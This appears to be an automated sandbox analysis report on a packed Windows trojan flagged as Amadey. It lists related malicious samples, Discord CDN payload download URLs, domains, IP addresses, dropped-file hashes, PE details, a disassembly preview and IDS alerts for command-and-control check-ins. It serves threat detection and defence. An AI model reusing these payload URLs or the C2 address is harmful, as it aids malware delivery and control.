	SecuriteInfo.com.PWS-FCXDF96A01717A58.15363.exe	Get hash	malicious	Browse	cdn.discordapp.com/attachments/819169403979038784/819184830453514270/fraem.exe
	7G5RoevPnu.exe	Get hash	malicious	Browse	cdn.discordapp.com/attachments/807746340997431316/809208342068199434/118fir2crtg.exe
	70% Balance Payment.doc	Get hash	malicious	Browse	cdn.discordapp.com/attachments/785631384156110868/785631871395561492/italianmassloga.exe
	TT20201712.doc	Get hash	malicious	Browse	cdn.discordapp.com/attachments/788973775433498687/788974151649722398/damianox.scr
	ENQ-015August 2020 R1 Proj LOT.doc	Get hash	malicious	Browse	cdn.discordapp.com/attachments/722888184203051118/757862128198877274/Stub.jpg

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
depressionk1d.ug	BFSdrqaAvS.exe	Get hash	malicious	Browse	178.208.83.45
	We7WnoqeXe.exe	Get hash	malicious	Browse	178.208.83.45
	k0nAx7VQ5T.exe	Get hash	malicious	Browse	178.208.83.45
	HEWFj6cmsN.exe	Get hash	malicious	Browse	178.208.83.23
	VunjeCGYgU.exe	Get hash	malicious	Browse	193.164.17.17
	X2PrdXhH1y.exe	Get hash	malicious	Browse	193.164.17.17
cdn.discordapp.com	wLkXgpl9MJ.exe	Get hash	malicious	Browse	162.159.129.233
	bzQrim04c8.exe	Get hash	malicious	Browse	162.159.134.233
	SF45gO3Bc8.exe	Get hash	malicious	Browse	162.159.129.233
	3B0jZOP3Ou.exe	Get hash	malicious	Browse	162.159.129.233
	sorZ4F1PRC.exe	Get hash	malicious	Browse	162.159.133.233
	TutoxSXknF.exe	Get hash	malicious	Browse	162.159.133.233
	GwGRsPZJO7.exe	Get hash	malicious	Browse	162.159.133.233
	GhlYvtlwHA.exe	Get hash	malicious	Browse	162.159.134.233
	WSWw3rqaqL.exe	Get hash	malicious	Browse	162.159.129.233
	33CBD9E39DD39A84D0426897605B17000046E0FB14399.exe	Get hash	malicious	Browse	162.159.134.233
	annexedpayment.exe	Get hash	malicious	Browse	162.159.129.233
	Desync.exe	Get hash	malicious	Browse	162.159.134.233
	ORDER PO#188827-003201.exe	Get hash	malicious	Browse	162.159.129.233
	Files_1160_QVRsvGhHM.exe	Get hash	malicious	Browse	162.159.130.233
	20211111.exe	Get hash	malicious	Browse	162.159.129.233
	H7e3LrSfbu.exe	Get hash	malicious	Browse	162.159.129.233
	66155486f7e22faf23329dcc1cf5f1b157e48740fd2b6.exe	Get hash	malicious	Browse	162.159.135.233
	aqD3YDu4tK.exe	Get hash	malicious	Browse	162.159.134.233
	SAMPLE.SPECIFICATION.ORDER.PDF.Gz.exe	Get hash	malicious	Browse	162.159.135.233
	Quotation 14000145971.doc	Get hash	malicious	Browse	162.159.133.233

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
CLOUDFLARENETUS	PO 210411.xlsx	Get hash	malicious	Browse	23.227.38.74
	1182021-becky.sias@trustvesta.com_531 AM65Application.HTM	Get hash	malicious	Browse	104.18.11.207
	wLkXgpl9MJ.exe	Get hash	malicious	Browse	162.159.129.233
	bzQrim04c8.exe	Get hash	malicious	Browse	162.159.134.233
	[MALICIOUS]_Message768.html	Get hash	malicious	Browse	104.16.19.94
	SF45gO3Bc8.exe	Get hash	malicious	Browse	162.159.129.233
	3B0jZOP3Ou.exe	Get hash	malicious	Browse	162.159.134.233
	Itoaamnygg.exe	Get hash	malicious	Browse	104.23.98.190
	sorZ4F1PRC.exe	Get hash	malicious	Browse	162.159.134.233
	TutoxSXknF.exe	Get hash	malicious	Browse	162.159.133.233
	GwGRsPZJO7.exe	Get hash	malicious	Browse	162.159.134.233
	GhlYvtlwHA.exe	Get hash	malicious	Browse	162.159.134.233
	WSWw3rqaqL.exe	Get hash	malicious	Browse	162.159.129.233
	33CBD9E39DD39A84D0426897605B17000046E0FB14399.exe	Get hash	malicious	Browse	162.159.134.233
	annexedpayment.exe	Get hash	malicious	Browse	162.159.129.233
	Remittance Note for communication-6fead40e9acadb856d9e6f06d97006c8fb0d@procoretech.com.html	Get hash	malicious	Browse	104.16.18.94
	Desync.exe	Get hash	malicious	Browse	162.159.134.233
	be.exe	Get hash	malicious	Browse	104.18.115.97
	ORDER PO#188827-003201.exe	Get hash	malicious	Browse	162.159.129.233
	Files_1160_QVRsvGhHM.exe	Get hash	malicious	Browse	162.159.130.233
VDSINA-ASRU	BFSdrqaAvS.exe	Get hash	malicious	Browse	178.208.83.45
	We7WnoqeXe.exe	Get hash	malicious	Browse	178.208.83.45
	k0nAx7VQ5T.exe	Get hash	malicious	Browse	178.208.83.45
	Aer0 Spoofer - Stable .exe	Get hash	malicious	Browse	95.142.46.35
	B2yykjc0vw.exe	Get hash	malicious	Browse	195.2.93.155
	3qSjPmgRaH.exe	Get hash	malicious	Browse	62.113.112.212
	7Pcm60Ph4W.exe	Get hash	malicious	Browse	109.234.39.186
	doCid5nQUT.exe	Get hash	malicious	Browse	95.142.46.35
	4Z4ryhTTPq.exe	Get hash	malicious	Browse	95.142.46.35
	ciC1YFa7IG.exe	Get hash	malicious	Browse	95.142.46.35
	1EtQDL6IYL.exe	Get hash	malicious	Browse	95.142.46.35
	NDKWPFBYQL.exe	Get hash	malicious	Browse	95.142.46.35
	CtwD7ApTS0.exe	Get hash	malicious	Browse	95.142.46.35
	KM0ijCabt2.exe	Get hash	malicious	Browse	95.142.46.35
	5EaGMo9cfx.exe	Get hash	malicious	Browse	95.142.46.35
	3oJ5ECI1o6.exe	Get hash	malicious	Browse	95.142.46.35
	Qpq22J14Xz.exe	Get hash	malicious	Browse	95.142.46.35
	RyeZuiXz4C.exe	Get hash	malicious	Browse	95.142.46.35
	k3B1mXKXI1.exe	Get hash	malicious	Browse	95.142.46.35
	SecuriteInfo.com.FileRepMalware.2600.exe	Get hash	malicious	Browse	195.2.93.45

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
37f463bf4616ecd445d4a1937da06e19	1182021-becky.sias@trustvesta.com_531 AM65Application.HTM	Get hash	malicious	Browse	162.159.129.233
	33CBD9E39DD39A84D0426897605B17000046E0FB14399.exe	Get hash	malicious	Browse	162.159.129.233
	123.exe	Get hash	malicious	Browse	162.159.129.233
	20211111.exe	Get hash	malicious	Browse	162.159.129.233
	DocumentoOutubro-PT-624918-2019-10_47.vbs	Get hash	malicious	Browse	162.159.129.233
	2xH9L2RB6W.exe	Get hash	malicious	Browse	162.159.129.233
	version-1089326589.xls	Get hash	malicious	Browse	162.159.129.233
	version-1089402791.xls	Get hash	malicious	Browse	162.159.129.233
	tapkNGLb59.exe	Get hash	malicious	Browse	162.159.129.233
	tapkNGLb59.exe	Get hash	malicious	Browse	162.159.129.233
	KIP9z4BDru.exe	Get hash	malicious	Browse	162.159.129.233
	keep-241168107.xls	Get hash	malicious	Browse	162.159.129.233
	X4V4jFmFhO.dll	Get hash	malicious	Browse	162.159.129.233
	KIP9z4BDru.exe	Get hash	malicious	Browse	162.159.129.233
	Divergencias.exe	Get hash	malicious	Browse	162.159.129.233
	mar-signature_request.exe	Get hash	malicious	Browse	162.159.129.233
	P-200 Signature Form.doc	Get hash	malicious	Browse	162.159.129.233
	Ihdwqmnb7s.exe	Get hash	malicious	Browse	162.159.129.233
	Ihdwqmnb7s.exe	Get hash	malicious	Browse	162.159.129.233
	Ty6KZlrpuG.dll	Get hash	malicious	Browse	162.159.129.233

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	We7WnoqeXe.exe	Get hash	malicious	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\vms[1].exe Download File
Process:	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5
Entropy (8bit):	1.5219280948873621
Encrypted:	false
SSDEEP:	3:hn:h
MD5:	FDA44910DEB1A460BE4AC5D56D61D837
SHA1:	F6D0C643351580307B2EAA6A7560E76965496BC7
SHA-256:	933B971C6388D594A23FA1559825DB5BEC8ADE2DB1240AA8FC9D0C684949E8C9
SHA-512:	57DDA9AA7C29F960CD7948A4E4567844D3289FA729E9E388E7F4EDCBDF16BF6A94536598B4F9FF8942849F1F96BD3C00BC24A75E748A36FBF2A145F63BF904C1
Malicious:	false
Reputation:	high, very likely benign file
Preview:	0....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\CS6IXJW6\slhost[1].exe Download File
Process:	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5
Entropy (8bit):	1.5219280948873621
Encrypted:	false
SSDEEP:	3:hn:h
MD5:	FDA44910DEB1A460BE4AC5D56D61D837
SHA1:	F6D0C643351580307B2EAA6A7560E76965496BC7
SHA-256:	933B971C6388D594A23FA1559825DB5BEC8ADE2DB1240AA8FC9D0C684949E8C9
SHA-512:	57DDA9AA7C29F960CD7948A4E4567844D3289FA729E9E388E7F4EDCBDF16BF6A94536598B4F9FF8942849F1F96BD3C00BC24A75E748A36FBF2A145F63BF904C1
Malicious:	false
Preview:	0....

C:\Users\user\AppData\Local\Temp\152138533219 Download File
Process:	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, frames 3
Category:	dropped
Size (bytes):	106471
Entropy (8bit):	7.9289651114839765
Encrypted:	false
SSDEEP:	1536:CFhZIAIfdWyGEOsz25MN50GHxNic9X7teelFCY1XQoHq/Pmi/I3iota/bNZ5WNp+:IhmhLD30GHTiUX8CFdAoHqXm7VaBAFU
MD5:	AF0FF1B17AA527892B3BB58252764B4E
SHA1:	76421F0BD9F6D8715BB727BA306DF1DB50B55B04
SHA-256:	E2EC5FA75EE5FB378DC91055ADC8748DD944D7FBD7C244653871F5222659C0C6
SHA-512:	389D9100C6801B5F21C7EBA13711C342A081B40FCA3EAD354CB4BA4D39C9B9284E16B92165D6D84C149F2A7488E5F46849BF046675EDA34BD052ACE6B2ABAB2E
Malicious:	false
Preview:	......JFIF.....`.`.....C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..01KK...lq\....xcS.m..#Hm.....T......<!...wq5...v1.?S.....rHj-.U:...5............\|..+.......}...<.>...H.......Wo.CK`/l.1./...C...W.....,1....R.0.W.A.:.....X.l..1lN23....._....m.....'.........S.. ..W....'.c....1....5.5.}j.Ly..k;.\...q.U..Q...bgJpW.(QKI]&b.QE.&(.._.C.....B...-..h.Dh......{..J*.qNN...Z......?......................./.H.v..O.\|......I"]Z...I.y..[

C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe Download File
Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2588967
Entropy (8bit):	7.9559285316110975
Encrypted:	false
SSDEEP:	49152:7n/kTWwbJFn/319/caDkOUjFX10G53Mq1SA6DiW+rkdciAC+6Lh82j+7AcK:7n/atdNwjFXt5dB77t6Lhz+ccK
MD5:	34CCA2013EB9B2941A65971919BF356D
SHA1:	59F15A169B6C42340849A609EDB146E2F6614076
SHA-256:	735D3E2EB44123FE560CE027B907B3B1494B0F926ACEB641DCDF428A21B8AAC0
SHA-512:	258ECE4A4530B07D4B2840D44168CFD829C0E65D562D5B2E5E94281FFCA3DCF631B22799FD0C5EEFBD40249E72709DC2ACAF1FF99B5FEE0741C3DF942ABC2535
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 79%
Joe Sandbox View:	Filename: We7WnoqeXe.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........................:........p....p....p...........:...>....>.X...>....Rich............................PE..L...F%.a.................^........... B......p....@.......................... h.....".'...@........................................................................................................................................................ V\......h".................. ..` 0....p..97...(..............@..@ tE...........`..............@... .....P.......b..............@..@ .....`..g....d..............@..B.imports.............~..............@....rsrc...............................@..@.themida..>.........................`....boot.....&.. B.'.%.................`..`................................................................................................................................

C:\Users\user\AppData\Local\Temp\slhost\slhost.exe Download File
Process:	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe
File Type:	XML 1.0 document text
Category:	dropped
Size (bytes):	223
Entropy (8bit):	4.745008847905136
Encrypted:	false
SSDEEP:	6:TM3i0b9ZjZvKtWRbtmdsfbPAxjqm1bANKvn:TM3i0b9BZKtWRbtmdsfbPAxjqSkNKv
MD5:	A6A676051F857D516F6C4BEC595A7CFB
SHA1:	10E7C48A109FFBE60FA7AB3585C4BD711942CBD2
SHA-256:	98686E602B5F75BBCEB801CA315617579AD9FFE9E2DF66D49673EA35A7E1F343
SHA-512:	DF302B28E5897BAC668AD1AE2B32D2424AF7C8CDF4527AC54EA268E6E9FBF41EFE28B236AF25CEACB5E5ACD95B6C99B8CF95FA735687358A265BD59E2B127BA6
Malicious:	false
Preview:	<?xml version='1.0' encoding='UTF-8'?><Error><Code>AccessDenied</Code><Message>Access denied.</Message><Details>Anonymous caller does not have storage.objects.get access to the Google Cloud Storage object.</Details></Error>

C:\Users\user\AppData\Local\Temp\vms\vms.exe Download File
Process:	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe
File Type:	XML 1.0 document text
Category:	dropped
Size (bytes):	223
Entropy (8bit):	4.745008847905136
Encrypted:	false
SSDEEP:	6:TM3i0b9ZjZvKtWRbtmdsfbPAxjqm1bANKvn:TM3i0b9BZKtWRbtmdsfbPAxjqSkNKv
MD5:	A6A676051F857D516F6C4BEC595A7CFB
SHA1:	10E7C48A109FFBE60FA7AB3585C4BD711942CBD2
SHA-256:	98686E602B5F75BBCEB801CA315617579AD9FFE9E2DF66D49673EA35A7E1F343
SHA-512:	DF302B28E5897BAC668AD1AE2B32D2424AF7C8CDF4527AC54EA268E6E9FBF41EFE28B236AF25CEACB5E5ACD95B6C99B8CF95FA735687358A265BD59E2B127BA6
Malicious:	false
Preview:	<?xml version='1.0' encoding='UTF-8'?><Error><Code>AccessDenied</Code><Message>Access denied.</Message><Details>Anonymous caller does not have storage.objects.get access to the Google Cloud Storage object.</Details></Error>

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.9559285316110975
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe
File size:	2588967
MD5:	34cca2013eb9b2941a65971919bf356d
SHA1:	59f15a169b6c42340849a609edb146e2f6614076
SHA256:	735d3e2eb44123fe560ce027b907b3b1494b0f926aceb641dcdf428a21b8aac0
SHA512:	258ece4a4530b07d4b2840d44168cfd829c0e65d562d5b2e5e94281ffca3dcf631b22799fd0c5eefbd40249e72709dc2acaf1ff99b5fee0741c3df942abc2535
SSDEEP:	49152:7n/kTWwbJFn/319/caDkOUjFX10G53Mq1SA6DiW+rkdciAC+6Lh82j+7AcK:7n/atdNwjFXt5dB77t6Lhz+ccK
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...................................:...........p.......p.......p...................:...>.......>.X.....>.......Rich...................

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General
Entrypoint:	0x8220b0
Entrypoint Section:	.boot
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x611D2546 [Wed Aug 18 15:20:38 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2e7ed61bfc3c595a7fd3b61147b94a67

Entrypoint Preview

Instruction
call 00007F0D78DECFE0h
push ebx
mov ebx, esp
push ebx
mov esi, dword ptr [ebx+08h]
mov edi, dword ptr [ebx+10h]
cld
mov dl, 80h
mov al, byte ptr [esi]
inc esi
mov byte ptr [edi], al
inc edi
mov ebx, 00000002h
add dl, dl
jne 00007F0D78DECE97h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
jnc 00007F0D78DECE7Ch
add dl, dl
jne 00007F0D78DECE97h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
jnc 00007F0D78DECEE3h
xor eax, eax
add dl, dl
jne 00007F0D78DECE97h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
jnc 00007F0D78DECF77h
add dl, dl
jne 00007F0D78DECE97h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 00007F0D78DECE97h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 00007F0D78DECE97h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 00007F0D78DECE97h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
adc eax, eax
je 00007F0D78DECE9Ah
push edi
mov eax, eax
sub edi, eax
mov al, byte ptr [edi]
pop edi
mov byte ptr [edi], al
inc edi
mov ebx, 00000002h
jmp 00007F0D78DECE2Bh
mov eax, 00000001h
add dl, dl
jne 00007F0D78DECE97h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 00007F0D78DECE97h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
jc 00007F0D78DECE7Ch
sub eax, ebx
mov ebx, 00000001h
jne 00007F0D78DECEBAh
mov ecx, 00000001h
add dl, dl
jne 00007F0D78DECE97h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 00007F0D78DECE97h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
jc 00007F0D78DECE7Ch
push esi
mov esi, edi
sub esi, ebp

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x380d3	0xdc	.imports
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x39000	0x1d8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25c56	0x12268	False	1.00041698052	data	7.97940314248	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
	0x27000	0x8330	0x3739	False	1.00077810002	data	7.9408992561	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
	0x30000	0x4574	0x1f9	False	1.02178217822	data	7.53742703149	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
	0x35000	0x1e0	0x10b	False	1.04119850187	data	7.15705679523	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
	0x36000	0x1ce4	0x1967	False	0.980931877595	data	7.88803235449	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.imports	0x38000	0x1000	0x200	False	0.46875	data	3.51116785455	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x39000	0x1000	0x200	False	0.52734375	data	4.71767883295	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.themida	0x3a000	0x3e8000	0x0	unknown	unknown	unknown	unknown	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.boot	0x422000	0x260000	0x25ff27	unknown	unknown	unknown	unknown	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_MANIFEST	0x39058	0x17d	XML 1.0 document text	English	United States

Imports

DLL	Import
kernel32.dll	GetModuleHandleA
USER32.dll	GetDC
GDI32.dll	CreateCompatibleBitmap
ADVAPI32.dll	RegQueryValueExA
SHELL32.dll	ShellExecuteA
WININET.dll	HttpOpenRequestA
gdiplus.dll	GdipSaveImageToFile

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
11/12/21-22:23:06.731543	TCP	2027700	ET TROJAN Amadey CnC Check-In	49782	80	192.168.2.4	178.208.83.45
11/12/21-22:23:06.928394	TCP	2027700	ET TROJAN Amadey CnC Check-In	49783	80	192.168.2.4	178.208.83.45
11/12/21-22:23:30.298165	TCP	2027700	ET TROJAN Amadey CnC Check-In	49818	80	192.168.2.4	178.208.83.45
11/12/21-22:23:30.464189	TCP	2027700	ET TROJAN Amadey CnC Check-In	49819	80	192.168.2.4	178.208.83.45
11/12/21-22:23:30.619368	TCP	2027700	ET TROJAN Amadey CnC Check-In	49820	80	192.168.2.4	178.208.83.45
11/12/21-22:23:30.774305	TCP	2027700	ET TROJAN Amadey CnC Check-In	49821	80	192.168.2.4	178.208.83.45
11/12/21-22:23:30.948812	TCP	2027700	ET TROJAN Amadey CnC Check-In	49822	80	192.168.2.4	178.208.83.45
11/12/21-22:23:31.118265	TCP	2027700	ET TROJAN Amadey CnC Check-In	49823	80	192.168.2.4	178.208.83.45
11/12/21-22:23:31.275063	TCP	2027700	ET TROJAN Amadey CnC Check-In	49824	80	192.168.2.4	178.208.83.45
11/12/21-22:23:31.432216	TCP	2027700	ET TROJAN Amadey CnC Check-In	49825	80	192.168.2.4	178.208.83.45
11/12/21-22:23:31.602646	TCP	2027700	ET TROJAN Amadey CnC Check-In	49826	80	192.168.2.4	178.208.83.45
11/12/21-22:23:31.760157	TCP	2027700	ET TROJAN Amadey CnC Check-In	49827	80	192.168.2.4	178.208.83.45
11/12/21-22:23:31.915644	TCP	2027700	ET TROJAN Amadey CnC Check-In	49829	80	192.168.2.4	178.208.83.45
11/12/21-22:23:32.073917	TCP	2027700	ET TROJAN Amadey CnC Check-In	49830	80	192.168.2.4	178.208.83.45
11/12/21-22:23:32.230894	TCP	2027700	ET TROJAN Amadey CnC Check-In	49831	80	192.168.2.4	178.208.83.45
11/12/21-22:23:32.386088	TCP	2027700	ET TROJAN Amadey CnC Check-In	49832	80	192.168.2.4	178.208.83.45
11/12/21-22:23:32.557030	TCP	2027700	ET TROJAN Amadey CnC Check-In	49833	80	192.168.2.4	178.208.83.45
11/12/21-22:23:32.713207	TCP	2027700	ET TROJAN Amadey CnC Check-In	49834	80	192.168.2.4	178.208.83.45
11/12/21-22:23:32.868107	TCP	2027700	ET TROJAN Amadey CnC Check-In	49835	80	192.168.2.4	178.208.83.45
11/12/21-22:23:33.280977	TCP	2027700	ET TROJAN Amadey CnC Check-In	49836	80	192.168.2.4	178.208.83.45
11/12/21-22:23:33.421954	TCP	2027700	ET TROJAN Amadey CnC Check-In	49837	80	192.168.2.4	178.208.83.45
11/12/21-22:23:33.587182	TCP	2027700	ET TROJAN Amadey CnC Check-In	49838	80	192.168.2.4	178.208.83.45
11/12/21-22:23:33.743364	TCP	2027700	ET TROJAN Amadey CnC Check-In	49839	80	192.168.2.4	178.208.83.45
11/12/21-22:23:33.900875	TCP	2027700	ET TROJAN Amadey CnC Check-In	49841	80	192.168.2.4	178.208.83.45
11/12/21-22:23:34.072470	TCP	2027700	ET TROJAN Amadey CnC Check-In	49842	80	192.168.2.4	178.208.83.45
11/12/21-22:23:34.242914	TCP	2027700	ET TROJAN Amadey CnC Check-In	49843	80	192.168.2.4	178.208.83.45
11/12/21-22:23:34.401584	TCP	2027700	ET TROJAN Amadey CnC Check-In	49844	80	192.168.2.4	178.208.83.45
11/12/21-22:23:34.562715	TCP	2027700	ET TROJAN Amadey CnC Check-In	49845	80	192.168.2.4	178.208.83.45
11/12/21-22:23:34.741552	TCP	2027700	ET TROJAN Amadey CnC Check-In	49846	80	192.168.2.4	178.208.83.45
11/12/21-22:23:34.901584	TCP	2027700	ET TROJAN Amadey CnC Check-In	49847	80	192.168.2.4	178.208.83.45
11/12/21-22:23:35.058315	TCP	2027700	ET TROJAN Amadey CnC Check-In	49848	80	192.168.2.4	178.208.83.45
11/12/21-22:23:35.211416	TCP	2027700	ET TROJAN Amadey CnC Check-In	49849	80	192.168.2.4	178.208.83.45
11/12/21-22:23:35.369415	TCP	2027700	ET TROJAN Amadey CnC Check-In	49850	80	192.168.2.4	178.208.83.45
11/12/21-22:23:35.669938	TCP	2027700	ET TROJAN Amadey CnC Check-In	49852	80	192.168.2.4	178.208.83.45
11/12/21-22:23:35.822404	TCP	2027700	ET TROJAN Amadey CnC Check-In	49853	80	192.168.2.4	178.208.83.45
11/12/21-22:23:35.977914	TCP	2027700	ET TROJAN Amadey CnC Check-In	49854	80	192.168.2.4	178.208.83.45
11/12/21-22:23:36.150866	TCP	2027700	ET TROJAN Amadey CnC Check-In	49855	80	192.168.2.4	178.208.83.45
11/12/21-22:23:36.307987	TCP	2027700	ET TROJAN Amadey CnC Check-In	49856	80	192.168.2.4	178.208.83.45
11/12/21-22:23:36.480122	TCP	2027700	ET TROJAN Amadey CnC Check-In	49857	80	192.168.2.4	178.208.83.45
11/12/21-22:23:36.640967	TCP	2027700	ET TROJAN Amadey CnC Check-In	49859	80	192.168.2.4	178.208.83.45
11/12/21-22:23:36.807454	TCP	2027700	ET TROJAN Amadey CnC Check-In	49860	80	192.168.2.4	178.208.83.45
11/12/21-22:23:36.964043	TCP	2027700	ET TROJAN Amadey CnC Check-In	49861	80	192.168.2.4	178.208.83.45
11/12/21-22:23:37.419045	TCP	2027700	ET TROJAN Amadey CnC Check-In	49863	80	192.168.2.4	178.208.83.45
11/12/21-22:23:37.589438	TCP	2027700	ET TROJAN Amadey CnC Check-In	49864	80	192.168.2.4	178.208.83.45
11/12/21-22:23:37.748758	TCP	2027700	ET TROJAN Amadey CnC Check-In	49865	80	192.168.2.4	178.208.83.45
11/12/21-22:23:37.916664	TCP	2027700	ET TROJAN Amadey CnC Check-In	49866	80	192.168.2.4	178.208.83.45
11/12/21-22:23:38.084495	TCP	2027700	ET TROJAN Amadey CnC Check-In	49867	80	192.168.2.4	178.208.83.45
11/12/21-22:23:38.248426	TCP	2027700	ET TROJAN Amadey CnC Check-In	49869	80	192.168.2.4	178.208.83.45
11/12/21-22:23:38.417346	TCP	2027700	ET TROJAN Amadey CnC Check-In	49870	80	192.168.2.4	178.208.83.45
11/12/21-22:23:38.588937	TCP	2027700	ET TROJAN Amadey CnC Check-In	49871	80	192.168.2.4	178.208.83.45
11/12/21-22:23:38.759351	TCP	2027700	ET TROJAN Amadey CnC Check-In	49873	80	192.168.2.4	178.208.83.45
11/12/21-22:23:38.891987	TCP	2027700	ET TROJAN Amadey CnC Check-In	49872	80	192.168.2.4	178.208.83.45
11/12/21-22:23:39.063790	TCP	2027700	ET TROJAN Amadey CnC Check-In	49874	80	192.168.2.4	178.208.83.45
11/12/21-22:23:39.229237	TCP	2027700	ET TROJAN Amadey CnC Check-In	49875	80	192.168.2.4	178.208.83.45
11/12/21-22:23:39.384614	TCP	2027700	ET TROJAN Amadey CnC Check-In	49877	80	192.168.2.4	178.208.83.45
11/12/21-22:23:39.540863	TCP	2027700	ET TROJAN Amadey CnC Check-In	49878	80	192.168.2.4	178.208.83.45
11/12/21-22:23:39.701808	TCP	2027700	ET TROJAN Amadey CnC Check-In	49879	80	192.168.2.4	178.208.83.45
11/12/21-22:23:39.870584	TCP	2027700	ET TROJAN Amadey CnC Check-In	49882	80	192.168.2.4	178.208.83.45
11/12/21-22:23:40.001981	TCP	2027700	ET TROJAN Amadey CnC Check-In	49881	80	192.168.2.4	178.208.83.45
11/12/21-22:23:40.169700	TCP	2027700	ET TROJAN Amadey CnC Check-In	49883	80	192.168.2.4	178.208.83.45
